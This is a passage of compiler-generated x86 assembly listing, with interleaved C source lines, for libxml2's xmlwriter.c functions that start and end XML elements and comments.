PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1258 : if (count < 0) test eax, eax js SHORT $LN23@xmlTextWri ; 1259 : return -1; ; 1260 : sum += count; ; 1261 : count = xmlOutputBufferWriteString(writer->out, push DWORD PTR [ebx] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1262 : (const char *) p->name); ; 1263 : if (count < 0) test eax, eax js $LN23@xmlTextWri ; 1264 : return -1; ; 1265 : sum += count; ; 1266 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 1267 : if (count < 0) test eax, eax js $LN23@xmlTextWri ; 1268 : return -1; ; 1269 : sum += count; add edi, eax ; 1270 : break; ; 1271 : default: ; 1272 : return -1; ; 1273 : } ; 1274 : ; 1275 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN20@xmlTextWri ; 1276 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1277 : sum += count; add edi, eax $LN20@xmlTextWri: ; 1278 : } ; 1279 : ; 1280 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 1281 : return sum; mov eax, edi pop edi ; 1282 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterFullEndElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndElement PROC ; COMDAT ; 1119 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN23@xmlTextWri ; 1120 : int count; ; 1121 : int sum; ; 1122 : xmlLinkPtr lk; ; 1123 : xmlTextWriterStackEntry *p; ; 1124 : ; 1125 : if (writer == NULL) ; 1126 : return -1; ; 1127 : ; 1128 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 1129 : if (lk == 0) { test eax, eax jne SHORT $LN5@xmlTextWri $LN26@xmlTextWri: ; 1199 : } push DWORD PTR [esi+8] call _xmlListDelete add esp, 4 mov DWORD PTR [esi+8], 0 $LN23@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 $LN5@xmlTextWri: ; 1130 : xmlListDelete(writer->nsstack); ; 1131 : writer->nsstack = NULL; ; 1132 : return -1; ; 1133 : } ; 1134 : ; 1135 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 1136 : if (p == 0) { test ebx, ebx je SHORT $LN26@xmlTextWri ; 1137 : xmlListDelete(writer->nsstack); ; 1138 : writer->nsstack = NULL; ; 1139 : return -1; ; 1140 : } ; 1141 : ; 1142 : sum = 0; ; 1143 : switch (p->state) { mov eax, DWORD PTR [ebx+4] xor edi, edi sub eax, 1 je SHORT $LN8@xmlTextWri sub eax, 1 je SHORT $LN7@xmlTextWri sub eax, 1 jne SHORT $LN23@xmlTextWri ; 1163 : if (count < 0) ; 1164 : return -1; ; 1165 : sum += count; ; 1166 : break; ; 1167 : case XML_TEXTWRITER_TEXT: ; 1168 : if ((writer->indent) && (writer->doindent)) { cmp DWORD PTR [esi+16], edi je SHORT $LN22@xmlTextWri cmp DWORD PTR [esi+20], edi je SHORT $LN22@xmlTextWri ; 1169 : count = xmlTextWriterWriteIndent(writer); push esi call _xmlTextWriterWriteIndent add esp, 4 ; 1170 : sum += count; mov edi, eax $LN22@xmlTextWri: ; 1171 : writer->doindent = 1; ; 1172 : } else ; 1173 : writer->doindent = 1; ; 1174 : count = xmlOutputBufferWriteString(writer->out, "</"); mov DWORD PTR [esi+20], 1 push OFFSET ??_C@_02DPNDACHE@?$DM?1@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1175 : if (count < 0) test eax, eax js SHORT $LN23@xmlTextWri ; 1176 : return -1; ; 1177 : sum += count; ; 1178 : count = xmlOutputBufferWriteString(writer->out, push DWORD PTR [ebx] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1179 : (const char *) p->name); ; 1180 : if (count < 0) test eax, eax js SHORT $LN23@xmlTextWri ; 1181 : return -1; ; 1182 : sum += count; add edi, eax ; 1183 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ ; 1184 : if (count < 0) ; 1185 : return -1; ; 1186 : sum += count; ; 1187 : break; jmp SHORT $LN25@xmlTextWri $LN7@xmlTextWri: ; 1144 : case XML_TEXTWRITER_ATTRIBUTE: ; 1145 : count = xmlTextWriterEndAttribute(writer); push esi call _xmlTextWriterEndAttribute mov edi, eax add esp, 4 ; 1146 : if (count < 0) { test edi, edi js $LN26@xmlTextWri $LN8@xmlTextWri: ; 1147 : xmlListDelete(writer->nsstack); ; 1148 : writer->nsstack = NULL; ; 1149 : return -1; ; 1150 : } ; 1151 : sum += count; ; 1152 : /* fallthrough */ ; 1153 : case XML_TEXTWRITER_NAME: ; 1154 : /* Output namespace declarations */ ; 1155 : count = xmlTextWriterOutputNSDecl(writer); push esi call _xmlTextWriterOutputNSDecl add esp, 4 ; 1156 : if (count < 0) test eax, eax js $LN23@xmlTextWri ; 1157 : return -1; ; 1158 : sum += count; add edi, eax ; 1159 : ; 1160 : if (writer->indent) /* next element needs indent */ cmp DWORD PTR [esi+16], 0 je SHORT $LN11@xmlTextWri ; 1161 : writer->doindent = 1; mov DWORD PTR [esi+20], 1 $LN11@xmlTextWri: ; 1162 : count = xmlOutputBufferWriteString(writer->out, "/>"); push OFFSET ??_C@_02HCGKDMEN@?1?$DO@ $LN25@xmlTextWri: ; 1188 : default: ; 1189 : return -1; ; 1190 : } ; 1191 : ; 1192 : if (writer->indent) { push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 test eax, eax js $LN23@xmlTextWri add edi, eax cmp DWORD PTR [esi+16], 0 je SHORT $LN20@xmlTextWri ; 1193 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1194 : sum += count; add edi, eax $LN20@xmlTextWri: ; 1195 : } ; 1196 : ; 1197 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 1198 : return sum; mov eax, edi pop edi ; 1199 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterEndElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartElementNS _TEXT SEGMENT _count$1$ = 8 ; size = 4 _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _xmlTextWriterStartElementNS PROC ; COMDAT ; 1056 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _writer$[ebp] test edi, edi je SHORT $LN3@xmlTextWri ; 1057 : int count; ; 1058 : int sum; ; 1059 : xmlChar *buf; ; 1060 : ; 1061 : if ((writer == NULL) || (name == NULL) || (*name == '\0')) mov esi, DWORD PTR _name$[ebp] test esi, esi je SHORT $LN3@xmlTextWri cmp BYTE PTR [esi], 0 je SHORT $LN3@xmlTextWri ; 1062 : return -1; ; 1063 : ; 1064 : buf = NULL; ; 1065 : if (prefix != 0) { mov ebx, DWORD PTR _prefix$[ebp] xor eax, eax test ebx, ebx je SHORT $LN4@xmlTextWri ; 1066 : buf = xmlStrdup(prefix); push ebx call _xmlStrdup ; 1067 : buf = xmlStrcat(buf, BAD_CAST ":"); push OFFSET ??_C@_01JLIPDDHJ@?3@ push eax call _xmlStrcat add esp, 12 ; 0000000cH $LN4@xmlTextWri: ; 1068 : } ; 1069 : buf = xmlStrcat(buf, name); push esi push eax call _xmlStrcat mov esi, eax ; 1070 : ; 1071 : sum = 0; ; 1072 : count = xmlTextWriterStartElement(writer, buf); push esi push edi call _xmlTextWriterStartElement ; 1073 : xmlFree(buf); push esi mov DWORD PTR _count$1$[ebp], eax call DWORD PTR _xmlFree ; 1074 : if (count < 0) mov eax, DWORD PTR _count$1$[ebp] add esp, 20 ; 00000014H test eax, eax js SHORT $LN3@xmlTextWri ; 1075 : return -1; ; 1076 : sum += count; ; 1077 : ; 1078 : if (namespaceURI != 0) { cmp DWORD PTR _namespaceURI$[ebp], 0 je SHORT $LN1@xmlTextWri ; 1079 : xmlTextWriterNsStackEntry *p = (xmlTextWriterNsStackEntry *) push 12 ; 0000000cH call DWORD PTR _xmlMalloc mov esi, eax add esp, 4 ; 1080 : xmlMalloc(sizeof(xmlTextWriterNsStackEntry)); ; 1081 : if (p == 0) { test esi, esi jne SHORT $LN7@xmlTextWri ; 1082 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@ push 2 push edi call _xmlWriterErrMsg add esp, 12 ; 0000000cH $LN3@xmlTextWri: ; 1104 : } ; 1105 : ; 1106 : return sum; ; 1107 : } or eax, -1 $LN1@xmlTextWri: pop edi pop esi pop ebx pop ebp ret 0 $LN7@xmlTextWri: ; 1083 : "xmlTextWriterStartElementNS : out of memory!\n"); ; 1084 : return -1; ; 1085 : } ; 1086 : ; 1087 : buf = xmlStrdup(BAD_CAST "xmlns"); push OFFSET ??_C@_05PPEFOGKI@xmlns@ call _xmlStrdup add esp, 4 ; 1088 : if (prefix != 0) { test ebx, ebx je SHORT $LN8@xmlTextWri ; 1089 : buf = xmlStrcat(buf, BAD_CAST ":"); push OFFSET ??_C@_01JLIPDDHJ@?3@ push eax call _xmlStrcat ; 1090 : buf = xmlStrcat(buf, prefix); push ebx push eax call _xmlStrcat add esp, 16 ; 00000010H $LN8@xmlTextWri: ; 1091 : } ; 1092 : ; 1093 : p->prefix = buf; ; 1094 : p->uri = xmlStrdup(namespaceURI); push DWORD PTR _namespaceURI$[ebp] mov DWORD PTR [esi], eax call _xmlStrdup add esp, 4 mov DWORD PTR [esi+4], eax ; 1095 : if (p->uri == 0) { test eax, eax jne SHORT $LN9@xmlTextWri ; 1096 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@ push 2 push edi call _xmlWriterErrMsg ; 1097 : "xmlTextWriterStartElementNS : out of memory!\n"); ; 1098 : xmlFree(p); push esi call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 1104 : } ; 1105 : ; 1106 : return sum; ; 1107 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN9@xmlTextWri: ; 1099 : return -1; ; 1100 : } ; 1101 : p->elem = xmlListFront(writer->nodes); push DWORD PTR [edi+4] call _xmlListFront mov DWORD PTR [esi+8], eax ; 1102 : ; 1103 : xmlListPushFront(writer->nsstack, p); push esi push DWORD PTR [edi+8] call _xmlListPushFront mov eax, DWORD PTR _count$1$[ebp] add esp, 12 ; 0000000cH pop edi ; 1104 : } ; 1105 : ; 1106 : return sum; ; 1107 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterStartElementNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartElement _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlTextWriterStartElement PROC ; COMDAT ; 957 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN5@xmlTextWri ; 958 : int count; ; 959 : int sum; ; 960 : xmlLinkPtr lk; ; 961 : xmlTextWriterStackEntry *p; ; 962 : ; 963 : if ((writer == NULL) || (name == NULL) || (*name == '\0')) mov eax, DWORD PTR _name$[ebp] test eax, eax je $LN5@xmlTextWri cmp BYTE PTR [eax], 0 je $LN5@xmlTextWri ; 964 : return -1; ; 965 : ; 966 : sum = 0; ; 967 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 968 : if (lk != 0) { test eax, eax je SHORT $LN16@xmlTextWri ; 969 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 970 : if (p != 0) { test ebx, ebx je SHORT $LN16@xmlTextWri ; 971 : switch (p->state) { mov eax, DWORD PTR [ebx+4] dec eax cmp eax, 4 ja SHORT $LN16@xmlTextWri jmp DWORD PTR $LN24@xmlTextWri[eax*4] $LN10@xmlTextWri: ; 972 : case XML_TEXTWRITER_PI: ; 973 : case XML_TEXTWRITER_PI_TEXT: ; 974 : return -1; ; 975 : case XML_TEXTWRITER_NONE: ; 976 : break; ; 977 : case XML_TEXTWRITER_ATTRIBUTE: ; 978 : count = xmlTextWriterEndAttribute(writer); push esi call _xmlTextWriterEndAttribute mov edi, eax add esp, 4 ; 979 : if (count < 0) test edi, edi js SHORT $LN5@xmlTextWri $LN12@xmlTextWri: ; 980 : return -1; ; 981 : sum += count; ; 982 : /* fallthrough */ ; 983 : case XML_TEXTWRITER_NAME: ; 984 : /* Output namespace declarations */ ; 985 : count = xmlTextWriterOutputNSDecl(writer); push esi call _xmlTextWriterOutputNSDecl add esp, 4 ; 986 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 987 : return -1; ; 988 : sum += count; ; 989 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 990 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 991 : return -1; ; 992 : sum += count; add edi, eax ; 993 : if (writer->indent) cmp DWORD PTR [esi+16], 0 je SHORT $LN15@xmlTextWri ; 994 : count = push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 $LN15@xmlTextWri: ; 995 : xmlOutputBufferWriteString(writer->out, "\n"); ; 996 : p->state = XML_TEXTWRITER_TEXT; mov DWORD PTR [ebx+4], 3 $LN16@xmlTextWri: ; 997 : break; ; 998 : default: ; 999 : break; ; 1000 : } ; 1001 : } ; 1002 : } ; 1003 : ; 1004 : p = (xmlTextWriterStackEntry *) push 8 call DWORD PTR _xmlMalloc mov ebx, eax add esp, 4 ; 1005 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 1006 : if (p == 0) { test ebx, ebx jne SHORT $LN17@xmlTextWri ; 1007 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ push 2 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH $LN5@xmlTextWri: ; 1037 : ; 1038 : return sum; ; 1039 : } pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 $LN17@xmlTextWri: ; 1008 : "xmlTextWriterStartElement : out of memory!\n"); ; 1009 : return -1; ; 1010 : } ; 1011 : ; 1012 : p->name = xmlStrdup(name); push DWORD PTR _name$[ebp] call _xmlStrdup add esp, 4 mov DWORD PTR [ebx], eax ; 1013 : if (p->name == 0) { test eax, eax jne SHORT $LN18@xmlTextWri ; 1014 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ push 2 push esi call _xmlWriterErrMsg ; 1015 : "xmlTextWriterStartElement : out of memory!\n"); ; 1016 : xmlFree(p); push ebx call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 1037 : ; 1038 : return sum; ; 1039 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN18@xmlTextWri: ; 1017 : return -1; ; 1018 : } ; 1019 : p->state = XML_TEXTWRITER_NAME; mov DWORD PTR [ebx+4], 1 ; 1020 : ; 1021 : xmlListPushFront(writer->nodes, p); push ebx push DWORD PTR [esi+4] call _xmlListPushFront add esp, 8 ; 1022 : ; 1023 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN19@xmlTextWri ; 1024 : count = xmlTextWriterWriteIndent(writer); push esi call _xmlTextWriterWriteIndent add esp, 4 ; 1025 : sum += count; add edi, eax $LN19@xmlTextWri: ; 1026 : } ; 1027 : ; 1028 : count = xmlOutputBufferWriteString(writer->out, "<"); push OFFSET ??_C@_01MNNFJEPP@?$DM@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1029 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 1030 : return -1; ; 1031 : sum += count; ; 1032 : count = push DWORD PTR [ebx] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1033 : xmlOutputBufferWriteString(writer->out, (const char *) p->name); ; 1034 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 1035 : return -1; ; 1036 : sum += count; add eax, edi pop edi ; 1037 : ; 1038 : return sum; ; 1039 : } pop esi pop ebx pop ebp ret 0 npad 1 $LN24@xmlTextWri: DD $LN12@xmlTextWri DD $LN10@xmlTextWri DD $LN16@xmlTextWri DD $LN5@xmlTextWri DD $LN5@xmlTextWri _xmlTextWriterStartElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteComment _TEXT SEGMENT _writer$ = 8 ; size = 4 _content$ = 12 ; size = 4 _xmlTextWriterWriteComment PROC ; COMDAT ; 925 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _writer$[ebp] push edi call _xmlTextWriterStartComment mov esi, eax add esp, 4 test esi, esi js SHORT $LN6@xmlTextWri ; 926 : int count; ; 927 : int sum; ; 928 : ; 929 : sum = 0; ; 930 : count = xmlTextWriterStartComment(writer); ; 931 : if (count < 0) ; 932 : return -1; ; 933 : sum += count; ; 934 : count = xmlTextWriterWriteString(writer, content); push DWORD PTR _content$[ebp] push edi call _xmlTextWriterWriteString add esp, 8 ; 935 : if (count < 0) test eax, eax js SHORT $LN6@xmlTextWri ; 936 : return -1; ; 937 : sum += count; ; 938 : count = xmlTextWriterEndComment(writer); push edi add esi, eax call _xmlTextWriterEndComment add esp, 4 ; 939 : if (count < 0) test eax, eax js SHORT $LN6@xmlTextWri ; 941 : sum += count; pop edi add eax, esi ; 942 : ; 943 : return sum; ; 944 : } pop esi pop ebp ret 0 $LN6@xmlTextWri: pop edi ; 940 : return -1; or eax, -1 ; 942 : ; 943 : return sum; ; 944 : } pop esi pop ebp ret 0 _xmlTextWriterWriteComment ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatComment _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _argptr$ = 16 ; size = 4 _xmlTextWriterWriteVFormatComment PROC ; COMDAT ; 894 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN2@xmlTextWri ; 895 : int rc; ; 896 : xmlChar *buf; ; 897 : ; 898 : if (writer == NULL) { ; 899 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 900 : "xmlTextWriterWriteVFormatComment : invalid writer!\n"); ; 901 : return -1; or eax, -1 pop esi ; 912 : } pop ebp ret 0 $LN2@xmlTextWri: push edi ; 902 : } ; 903 : ; 904 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 905 : if (buf == NULL) test edi, edi jne SHORT $LN3@xmlTextWri ; 906 : return -1; pop edi or eax, -1 pop esi ; 912 : } pop ebp ret 0 $LN3@xmlTextWri: ; 907 : ; 908 : rc = xmlTextWriterWriteComment(writer, buf); push edi push esi call _xmlTextWriterWriteComment ; 909 : ; 910 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 12 ; 0000000cH ; 911 : return rc; mov eax, esi pop edi pop esi ; 912 : } pop ebp ret 0 _xmlTextWriterWriteVFormatComment ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatComment _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _xmlTextWriterWriteFormatComment PROC ; COMDAT ; 869 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] push DWORD PTR _writer$[ebp] call _xmlTextWriterWriteVFormatComment add esp, 12 ; 0000000cH ; 870 : int rc; ; 871 : va_list ap; ; 872 : ; 873 : va_start(ap, format); ; 874 : ; 875 : rc = xmlTextWriterWriteVFormatComment(writer, format, ap); ; 876 : ; 877 : va_end(ap); ; 878 : return rc; ; 879 : } pop ebp ret 0 _xmlTextWriterWriteFormatComment ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndComment _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndComment PROC ; COMDAT ; 810 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 811 : int count; ; 812 : int sum; ; 813 : xmlLinkPtr lk; ; 814 : xmlTextWriterStackEntry *p; ; 815 : ; 816 : if (writer == NULL) { ; 817 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 818 : "xmlTextWriterEndComment : invalid writer!\n"); ; 819 : return -1; or eax, -1 pop esi ; 854 : } pop ebp ret 0 $LN4@xmlTextWri: ; 820 : } ; 821 : ; 822 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 823 : if (lk == 0) { test eax, eax jne SHORT $LN5@xmlTextWri ; 824 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 825 : "xmlTextWriterEndComment : not allowed in this context!\n"); ; 826 : return -1; or eax, -1 pop esi ; 854 : } pop ebp ret 0 $LN5@xmlTextWri: push edi ; 827 : } ; 828 : ; 829 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 830 : if (p == 0) test eax, eax je SHORT $LN13@xmlTextWri ; 831 : return -1; ; 832 : ; 833 : sum = 0; ; 834 : switch (p->state) { cmp DWORD PTR [eax+4], 16 ; 00000010H jne SHORT $LN13@xmlTextWri ; 835 : case XML_TEXTWRITER_COMMENT: ; 836 : count = xmlOutputBufferWriteString(writer->out, "-->"); push OFFSET ??_C@_03PNLDJJMO@?9?9?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 837 : if (count < 0) test edi, edi js SHORT $LN13@xmlTextWri ; 838 : return -1; ; 839 : sum += count; ; 840 : break; ; 841 : default: ; 842 : return -1; ; 843 : } ; 844 : ; 845 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN10@xmlTextWri ; 846 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 847 : if (count < 0) test eax, eax js SHORT $LN13@xmlTextWri ; 849 : sum += count; add edi, eax $LN10@xmlTextWri: ; 850 : } ; 851 : ; 852 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 853 : return sum; mov eax, edi pop edi pop esi ; 854 : } pop ebp ret 0 $LN13@xmlTextWri: pop edi ; 848 : return -1; or eax, -1 pop esi ; 854 : } pop ebp ret 0 _xmlTextWriterEndComment ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartComment _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterStartComment PROC ; COMDAT ; 726 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 727 : int count; ; 728 : int sum; ; 729 : xmlLinkPtr lk; ; 730 : xmlTextWriterStackEntry *p; ; 731 : ; 732 : if (writer == NULL) { ; 733 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 734 : "xmlTextWriterStartComment : invalid writer!\n"); ; 735 : return -1; or eax, -1 pop esi ; 796 : ; 797 : return sum; ; 798 : } pop ebp ret 0 $LN4@xmlTextWri: push ebx push edi ; 736 : } ; 737 : ; 738 : sum = 0; ; 739 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 740 : if (lk != 0) { test eax, eax je SHORT $LN7@xmlTextWri ; 741 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 742 : if (p != 0) { test ebx, ebx je SHORT $LN7@xmlTextWri ; 743 : switch (p->state) { mov eax, DWORD PTR [ebx+4] sub eax, edi je SHORT $LN7@xmlTextWri sub eax, 1 je SHORT $LN8@xmlTextWri sub eax, 2 je SHORT $LN7@xmlTextWri ; 776 : "xmlTextWriterStartElement : out of memory!\n"); ; 777 : return -1; pop edi pop ebx or eax, -1 pop esi ; 796 : ; 797 : return sum; ; 798 : } pop ebp ret 0 $LN8@xmlTextWri: ; 744 : case XML_TEXTWRITER_TEXT: ; 745 : case XML_TEXTWRITER_NONE: ; 746 : break; ; 747 : case XML_TEXTWRITER_NAME: ; 748 : /* Output namespace declarations */ ; 749 : count = xmlTextWriterOutputNSDecl(writer); push esi call _xmlTextWriterOutputNSDecl mov edi, eax add esp, 4 ; 750 : if (count < 0) test edi, edi js SHORT $LN19@xmlTextWri ; 751 : return -1; ; 752 : sum += count; ; 753 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 754 : if (count < 0) test eax, eax js SHORT $LN19@xmlTextWri ; 755 : return -1; ; 756 : sum += count; add edi, eax ; 757 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN11@xmlTextWri ; 758 : count = push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 759 : xmlOutputBufferWriteString(writer->out, "\n"); ; 760 : if (count < 0) test eax, eax js SHORT $LN19@xmlTextWri ; 761 : return -1; ; 762 : sum += count; add edi, eax $LN11@xmlTextWri: ; 763 : } ; 764 : p->state = XML_TEXTWRITER_TEXT; mov DWORD PTR [ebx+4], 3 $LN7@xmlTextWri: ; 765 : break; ; 766 : default: ; 767 : return -1; ; 768 : } ; 769 : } ; 770 : } ; 771 : ; 772 : p = (xmlTextWriterStackEntry *) push 8 call DWORD PTR _xmlMalloc add esp, 4 ; 773 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 774 : if (p == 0) { test eax, eax jne SHORT $LN14@xmlTextWri ; 775 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ push 2 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH $LN19@xmlTextWri: ; 776 : "xmlTextWriterStartElement : out of memory!\n"); ; 777 : return -1; pop edi pop ebx or eax, -1 pop esi ; 796 : ; 797 : return sum; ; 798 